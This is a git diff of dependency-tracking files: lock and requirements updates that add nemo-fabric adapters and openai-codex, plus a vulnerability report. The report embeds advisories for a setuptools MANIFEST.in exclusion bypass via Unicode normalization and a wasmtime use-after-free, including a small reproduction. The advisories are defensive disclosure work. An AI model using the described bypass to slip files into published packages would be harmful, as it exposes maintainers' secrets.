"setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+", - "details": "## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py (FileList.global_exclude)\ndef global_exclude(self, pattern):\n match = translate_pattern(os.path.join('**', pattern)) # fnmatch.translate -> regex, no NFC/NFD\n return self._remove_files(match.match) # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`caf\u00e9` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`caf\u00e9` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes\u2192str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule \u2014 an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_caf\u00e9.txt # rule saved NFC\n```\n\nand an on-disk file `secret_caf\u00e9.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped \u2014 isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.", + "schema_version": "1.7.5", "severity": [ { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N" + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", + "type": "CVSS_V3" } - ], + ] + }, + { "affected": [ { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-h35f-9h28-mq5c/GHSA-h35f-9h28-mq5c.json" + }, "package": { "ecosystem": "PyPI", "name": "setuptools", @@ -5447,7 +5843,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -5455,7 +5850,8 @@ { "fixed": "83.0.0" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -6082,12 +6478,28 @@ "9.0", "9.0.1", "9.1" - ], - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-h35f-9h28-mq5c/GHSA-h35f-9h28-mq5c.json" - } + ] } ], + "aliases": [ + "BIT-setuptools-2026-59890", + "CVE-2026-59890", + "PYSEC-2026-3447" + ], + "database_specific": { + "cwe_ids": [ + "CWE-176", + "CWE-697" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-07-21T19:09:21Z", + "nvd_published_at": "2026-07-08T17:17:27Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\nWhen building a source distribution (`python -m build --sdist` / `setup.py sdist`), setuptools' `FileList` applies `MANIFEST.in` directives (`exclude`, `global-exclude`, `recursive-exclude`, `prune`) by matching a compiled glob against on-disk file names **byte-for-byte, with no Unicode normalization**. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a `MANIFEST.in` rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the `.tar.gz` and, if published, uploaded to the public, immutable PyPI index.\n\n## Details\n\nFile names in `FileList.files` come from `os.walk` (`setuptools/_distutils/filelist.py`, `_find_all_simple`), so on APFS a file written NFD is offered to the matcher in NFD, while the `MANIFEST.in` pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:\n\n```python\n# setuptools/command/egg_info.py (FileList.global_exclude)\ndef global_exclude(self, pattern):\n match = translate_pattern(os.path.join('**', pattern)) # fnmatch.translate -> regex, no NFC/NFD\n return self._remove_files(match.match) # byte-level regex over raw os.walk names\n```\n\nA rule written NFC (`caf\u00e9` = `63 61 66 c3 a9`) does not match an on-disk name written NFD (`caf\u00e9` = `63 61 66 65 cc 81`), even though the filesystem treats the two as one file.\n\nA `unicodedata.normalize('NFD', ...)` helper exists in `setuptools/unicode_utils.py` (`decompose()`), but it is **never called in the manifest matching path**, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, `EggInfoCommand._manifest_normalize`, uses `filesys_decode` (bytes\u2192str decode only, no NFC/NFD) and runs when writing `SOURCES.txt`, after matching has already occurred.\n\n## Impact\n\n`MANIFEST.in` exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule \u2014 an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.\n\n## Proof of concept\n\nWith a project containing `MANIFEST.in`:\n\n```\nglobal-include *.txt *.json\nglobal-exclude secret_caf\u00e9.txt # rule saved NFC\n```\n\nand an on-disk file `secret_caf\u00e9.txt` written in NFD, `python -m build --sdist` packs the secret file into the resulting `.tar.gz`, while an ASCII control file excluded by the same directive is correctly dropped \u2014 isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.\n\n## Remediation\n\nNormalize both the walked path and each `MANIFEST.in` pattern to a single canonical form before matching, in both `setuptools/command/egg_info.py` (`FileList`) and the vendored `setuptools/_distutils/filelist.py`. For an exclusion list, err toward excluding more, and document that `MANIFEST.in` matching is normalization-insensitive on macOS.\n\n## Credit\n\nReported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.", + "id": "GHSA-h35f-9h28-mq5c", + "modified": "2026-07-21T19:15:32.059653102Z", + "published": "2026-07-21T19:09:21Z", "references": [ { "type": "WEB", @@ -6114,35 +6526,15 @@ "url": "https://github.com/pypa/setuptools/releases/tag/v83.0.0" } ], - "database_specific": { - "cwe_ids": [ - "CWE-176", - "CWE-697" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-07-21T19:09:21Z", - "nvd_published_at": "2026-07-08T17:17:27Z", - "severity": "MODERATE" - } - } - ], - "groups": [ - { - "ids": [ - "PYSEC-2026-3447", - "GHSA-h35f-9h28-mq5c" - ], - "aliases": [ - "BIT-setuptools-2026-59890", - "CVE-2026-59890", - "GHSA-h35f-9h28-mq5c", - "PYSEC-2026-3447" + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N", + "type": "CVSS_V3" + } ], - "max_severity": "6.1" + "summary": "setuptools: MANIFEST.in exclusion bypass in sdist via Unicode normalization collision (NFC/NFD) on macOS APFS/HFS+" } - ], - "licenses": [ - "MIT" ] }, { @@ -6365,6 +6757,16 @@ "non-standard" ] }, + { + "package": { + "name": "tomli-w", + "version": "1.2.0", + "ecosystem": "PyPI" + }, + "licenses": [ + "MIT" + ] + }, { "package": { "name": "tomlkit", @@ -6591,26 +6993,31 @@ "version": "43.0.0", "ecosystem": "PyPI" }, - "vulnerabilities": [ + "groups": [ { - "modified": "2026-05-21T15:00:24Z", - "published": "2026-04-09T19:16:24Z", - "schema_version": "1.7.5", - "id": "PYSEC-2026-151", + "ids": [ + "PYSEC-2026-151" + ], "aliases": [ "CVE-2026-34983", "GHSA-hfr4-7c6c-48w2", + "PYSEC-2026-151", "RUSTSEC-2026-0090" ], - "details": "Wasmtime is a runtime for WebAssembly. In 43.0.0, cloning a wasmtime::Linker is unsound and can result in use-after-free bugs. This bug is not controllable by guest Wasm programs. It can only be triggered by a specific sequence of embedder API calls made by the host. Specifically, the following steps must occur to trigger the bug clone a wasmtime::Linker, drop the original linker instance, use the new, cloned linker instance, resulting in a use-after-free. This vulnerability is fixed in 43.0.1.", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H" - } - ], + "max_severity": "5.0" + } + ], + "licenses": [ + "Apache-2.0 WITH LLVM-exception" + ], + "vulnerabilities": [ + { "affected": [ { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/wasmtime/PYSEC-2026-151.yaml" + }, + "ecosystem_specific": {}, "package": { "ecosystem": "PyPI", "name": "wasmtime", @@ -6618,7 +7025,6 @@ }, "ranges": [ { - "type": "ECOSYSTEM", "events": [ { "introduced": "0" @@ -6626,7 +7032,8 @@ { "last_affected": "43.0.0" } - ] + ], + "type": "ECOSYSTEM" } ], "versions": [ @@ -6717,36 +7124,32 @@ "8.0.0", "8.0.1", "9.0.0" - ], - "database_specific": { - "source": "https://github.com/pypa/advisory-database/blob/main/vulns/wasmtime/PYSEC-2026-151.yaml" - } + ] } ], + "aliases": [ + "CVE-2026-34983", + "GHSA-hfr4-7c6c-48w2", + "RUSTSEC-2026-0090" + ], + "details": "Wasmtime is a runtime for WebAssembly. In 43.0.0, cloning a wasmtime::Linker is unsound and can result in use-after-free bugs. This bug is not controllable by guest Wasm programs. It can only be triggered by a specific sequence of embedder API calls made by the host. Specifically, the following steps must occur to trigger the bug clone a wasmtime::Linker, drop the original linker instance, use the new, cloned linker instance, resulting in a use-after-free. This vulnerability is fixed in 43.0.1.", + "id": "PYSEC-2026-151", + "modified": "2026-05-21T15:00:24.330171463Z", + "published": "2026-04-09T19:16:24.850Z", "references": [ { "type": "ADVISORY", "url": "https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hfr4-7c6c-48w2" } - ] - } - ], - "groups": [ - { - "ids": [ - "PYSEC-2026-151" - ], - "aliases": [ - "CVE-2026-34983", - "GHSA-hfr4-7c6c-48w2", - "PYSEC-2026-151", - "RUSTSEC-2026-0090" ], - "max_severity": "5.0" + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H", + "type": "CVSS_V3" + } + ] } - ], - "licenses": [ - "Apache-2.0 WITH LLVM-exception" ] }, { @@ -6881,11 +7284,11 @@ "license_summary": [ { "name": "MIT", - "count": 127 + "count": 128 }, { "name": "Apache-2.0", - "count": 81 + "count": 87 }, { "name": "non-standard", diff --git a/third_party/requirements-main.txt b/third_party/requirements-main.txt index a4348cec9d..c4940121d9 100644 --- a/third_party/requirements-main.txt +++ b/third_party/requirements-main.txt @@ -1716,9 +1716,23 @@ mypy-extensions==1.0.0 ; (platform_machine == 'arm64' and sys_platform == 'darwi nemo-anonymizer==0.3.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:a51f92f58fb86ffe09c9159768b309dd9138170022c1bae8565b8dc72effea7f # via nemo-anonymizer-plugin -nemo-fabric==0.1.0a20260717 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ - --hash=sha256:55b850fd03bb54e1559039504048cf5c2b7fd96903f91fd8e517a4c5cfff395f +nemo-fabric==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:1fca6642d497544b9c3739a729e8e29308a8b76ed16eed3d27df511d8572d5ad # via nemo-agents-plugin +nemo-fabric-adapters-codex==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:9f840489c20292338c80a22d24a955880cb6aa3060fa622f8730bbb5e0f51fb7 + # via nemo-agents-plugin +nemo-fabric-adapters-common==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:23ff20e39cddcfa2eed987b1ec2f5e54c597c008a8e1cea41dc33cbb0c13f446 + # via + # nemo-fabric-adapters-codex + # nemo-fabric-adapters-hermes +nemo-fabric-adapters-hermes==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:ca38c94161d09f4cc3e8022eedb73570b17d817a33cbbbff8aea0d1c4ff246e7 + # via nemo-agents-plugin +nemo-fabric-runtime==0.1.0a20260722 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:5b6110d3fe375a3dd55e705a827b5b189642b09340db58bbe72b333e84cfe47b + # via nemo-fabric nemo-relay==0.4.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:0f92883b81540076e4b6c5e754eb7726225336634204ebd22ff730ccbcfb2723 \ --hash=sha256:6a5a5f5dec1428085f6c41c3645f1773f9cfb154cfa47306c93d6514091a8006 \ @@ -1891,6 +1905,17 @@ openai==2.35.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or ( # oci-openai # ragas # switchyard-vendored +openai-codex==0.144.4 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:91c63a7cb213441569f130e593386b34657ab9e726ae88af255f0ecb8de08ea5 \ + --hash=sha256:de1513a6e94b9a8d7728a3b74298bc1469428ade10ba0ef2d5db47dd1cb606f5 + # via nemo-fabric-adapters-codex +openai-codex-cli-bin==0.144.4 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:05db505a9c7f020f58b70837a94e00d32a50086986c267bcc44ea97b573d4a05 \ + --hash=sha256:4106229c38f37245c3eea8d904426afd45b8bf19831765715647f5402f757c06 \ + --hash=sha256:70fb62ed7755e332dd8b00ed48e22ee16df10f4a977335039e237cd330490df3 \ + --hash=sha256:cd4bb31b8a477a3adba22139c8c493693fa5292ba21e86eef08ace3e96c41294 \ + --hash=sha256:d2d3fada11731938e3d3e3660819d5324b7f92e825a0ed5aede63100b36ffc9a + # via openai-codex openapi-pydantic==0.5.1 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d @@ -2463,6 +2488,7 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nemo-deployments-plugin # nemo-evaluator-plugin # nemo-evaluator-sdk + # nemo-fabric-runtime # nemo-platform-ext # nemo-platform-plugin # nemo-platform-sdk @@ -2488,6 +2514,7 @@ pydantic==2.12.5 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or # nvidia-nat-config-optimizer # nvidia-nat-core # openai + # openai-codex # openapi-pydantic # pydantic-extra-types # pydantic-settings @@ -2686,6 +2713,7 @@ pyyaml==6.0.3 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (p # nemo-agents-plugin # nemo-anonymizer-plugin # nemo-auditor-plugin + # nemo-fabric-adapters-hermes # nemo-platform-ext # nemo-platform-plugin # nemo-platform-sdk @@ -3224,6 +3252,10 @@ tokenizers==0.22.2 ; (platform_machine == 'arm64' and sys_platform == 'darwin') # langchain-huggingface # litellm # transformers +tomli-w==1.2.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ + --hash=sha256:188306098d013b691fcadc011abd66727d3c414c571bb01b1a174ba8c983cf90 \ + --hash=sha256:2dd14fac5a47c27be9cd4c976af5a12d87fb1f0b4512f81d69cce3b35ae25021 + # via nemo-fabric-adapters-codex tomlkit==0.14.0 ; (platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux') \ --hash=sha256:592064ed85b40fa213469f81ac584f67a4f2992509a7c3ea2d632208623a3680 \ --hash=sha256:cf00efca415dbd57575befb1f6634c4f42d2d87dbba376128adb42c121b87064 @@ -3316,6 +3348,7 @@ typing-extensions==4.15.0 ; (platform_machine == 'arm64' and sys_platform == 'da # langsmith # mcp # mlflow-skinny + # nemo-fabric-runtime # nemo-platform-sdk # nemo-safe-synthesizer # openai diff --git a/uv.lock b/uv.lock index 1de277123c..e654d203e8 100644 --- a/uv.lock +++ b/uv.lock @@ -3920,6 +3920,8 @@ dependencies = [ { name = "nemo-agents-example-email-phishing", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-deployments-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-config-optimizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -3956,7 +3958,9 @@ requires-dist = [ { name = "nemo-agents-example-calculator", editable = "plugins/nemo-agents/examples/calculator-agent" }, { name = "nemo-agents-example-email-phishing", editable = "plugins/nemo-agents/examples/email-phishing-analyzer" }, { name = "nemo-deployments-plugin", editable = "plugins/nemo-deployments" }, - { name = "nemo-fabric", specifier = ">=0.1.0a20260717,<0.2.0" }, + { name = "nemo-fabric", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-codex", specifier = ">=0.1.0a20260722,<0.2.0" }, + { name = "nemo-fabric-adapters-hermes", marker = "python_full_version < '3.14'", specifier = ">=0.1.0a20260722,<0.2.0" }, { name = "nemo-platform", editable = "packages/nemo_platform" }, { name = "nemo-platform-plugin", editable = "packages/nemo_platform_plugin" }, { name = "nvidia-nat-config-optimizer", specifier = ">=1.8.0,<1.9" }, @@ -4380,9 +4384,49 @@ dev = [ [[package]] name = "nemo-fabric" -version = "0.1.0a20260717" +version = "0.1.0a20260722" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/85/7a/971dfffaa98f245904cb6b753d40725023e4fc74e3245120ec5a1e79f63a/nemo_fabric-0.1.0a20260717.tar.gz", hash = "sha256:55b850fd03bb54e1559039504048cf5c2b7fd96903f91fd8e517a4c5cfff395f", size = 6149, upload-time = "2026-07-17T15:23:14.982Z" } +dependencies = [ + { name = "nemo-fabric-runtime", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/da/a3/8b40e928aa6df5e05b90c9c2dd7809320a736baac977bf9062d14f47f8d1/nemo_fabric-0.1.0a20260722.tar.gz", hash = "sha256:1fca6642d497544b9c3739a729e8e29308a8b76ed16eed3d27df511d8572d5ad", size = 6152, upload-time = "2026-07-22T09:38:34.148Z" } + +[[package]] +name = "nemo-fabric-adapters-codex" +version = "0.1.0a20260722" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nemo-fabric-adapters-common", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "openai-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "tomli-w", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2d/e1/0220ed8ad176e89a988a8a77d9e616d877a7df17ee84b9e745051622d351/nemo_fabric_adapters_codex-0.1.0a20260722.tar.gz", hash = "sha256:9f840489c20292338c80a22d24a955880cb6aa3060fa622f8730bbb5e0f51fb7", size = 8676, upload-time = "2026-07-22T09:38:40.654Z" } + +[[package]] +name = "nemo-fabric-adapters-common" +version = "0.1.0a20260722" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/74/2f/6f02a0909c44a494670f10e1abb66dd9b9d313d610ac61ced9368233b5f9/nemo_fabric_adapters_common-0.1.0a20260722.tar.gz", hash = "sha256:23ff20e39cddcfa2eed987b1ec2f5e54c597c008a8e1cea41dc33cbb0c13f446", size = 5823, upload-time = "2026-07-22T09:38:31.222Z" } + +[[package]] +name = "nemo-fabric-adapters-hermes" +version = "0.1.0a20260722" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "nemo-fabric-adapters-common", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "pyyaml", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3a/56/d82d80b537b441bde51ea52c48a58736122352f07b73c9680dfb1851ccf5/nemo_fabric_adapters_hermes-0.1.0a20260722.tar.gz", hash = "sha256:ca38c94161d09f4cc3e8022eedb73570b17d817a33cbbbff8aea0d1c4ff246e7", size = 6189, upload-time = "2026-07-22T09:38:37.872Z" } + +[[package]] +name = "nemo-fabric-runtime" +version = "0.1.0a20260722" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic", extra = ["email"], marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "typing-extensions", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b4/35/39cbcd9743974d735e4ef27578edfdcc713e1eb67c9ed786b9f44fd22971/nemo_fabric_runtime-0.1.0a20260722.tar.gz", hash = "sha256:5b6110d3fe375a3dd55e705a827b5b189642b09340db58bbe72b333e84cfe47b", size = 5283, upload-time = "2026-07-22T09:38:33.333Z" } [[package]] name = "nemo-guardrails-plugin" @@ -4541,6 +4585,8 @@ all = [ { name = "nemo-auditor-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-safe-synthesizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4760,6 +4806,8 @@ nemo-agents-plugin = [ { name = "langchain-aws", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-agents-example-calculator", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-hermes", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-platform-plugin", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-config-optimizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nvidia-nat-core", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, @@ -4932,6 +4980,8 @@ plugins = [ { name = "nemo-anonymizer", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-evaluator-sdk", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, { name = "nemo-fabric", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 'linux')" }, + { name = "nemo-fabric-adapters-codex", marker = "(platform_machine == 'arm64' and sys_platform == 'darwin') or (platform_machine == 'aarch64' and sys_platform == 'linux') or (platform_machine == 'x86_64' and sys_platform == 